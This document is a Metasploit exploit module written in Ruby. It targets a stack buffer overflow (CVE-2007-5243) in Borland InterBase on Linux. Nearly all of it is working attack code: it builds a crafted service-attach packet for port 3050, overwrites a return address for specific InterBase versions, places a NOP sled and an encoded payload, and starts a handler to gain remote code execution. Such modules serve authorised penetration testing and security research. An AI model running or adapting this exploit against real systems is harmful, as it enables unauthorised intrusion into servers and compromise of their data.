Borland InterBase INET_connect() Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Borland InterBase INET_connect() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Borland InterBase  
by sending a specially crafted service attach request.  
},  
'Version' => '$Revision$',  
'Author' =>  
[  
'ramon',  
'Adriano Lima <[email protected]>',  
],  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'References' =>  
[  
[ 'CVE', '2007-5243' ],  
[ 'OSVDB', '38605' ],  
[ 'BID', '25917' ],  
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],  
],  
'Privileged' => true,  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x2f\x3a\x40\x5c",  
},  
'Targets' =>  
[  
# 0x0804d2ee 5b5e5f5dc3  
[  
'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',  
{ 'Ret' => 0x0804d2ee }  
],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(3050)  
],  
self.class  
)  
  
end  
  
def exploit  
  
connect  
  
# Attach database  
op_attach = 19  
  
# Create database  
op_create = 20  
  
# Service attach  
op_service_attach = 82  
  
length = 161  
remainder = length.remainder(4)  
padding = 0  
  
if remainder > 0  
padding = (4 - remainder)  
end  
  
buf = ''  
  
# Operation/packet type  
buf << [op_service_attach].pack('N')  
  
# Id  
buf << [0].pack('N')  
  
# Length  
buf << [length].pack('N')  
  
# Random alpha data  
buf << rand_text_alpha(length - 5)  
  
# Target  
buf << [target.ret].pack('L')  
  
# Separator  
buf << ':'  
  
# Padding  
buf << "\x00" * padding  
  
# Database parameter block  
  
# Length  
buf << [1024].pack('N')  
  
# It will return into this nop block  
buf << make_nops(1024 - payload.encoded.length)  
  
# Payload  
buf << payload.encoded  
  
sock.put(buf)  
  
handler  
  
end  
  
end  
  
`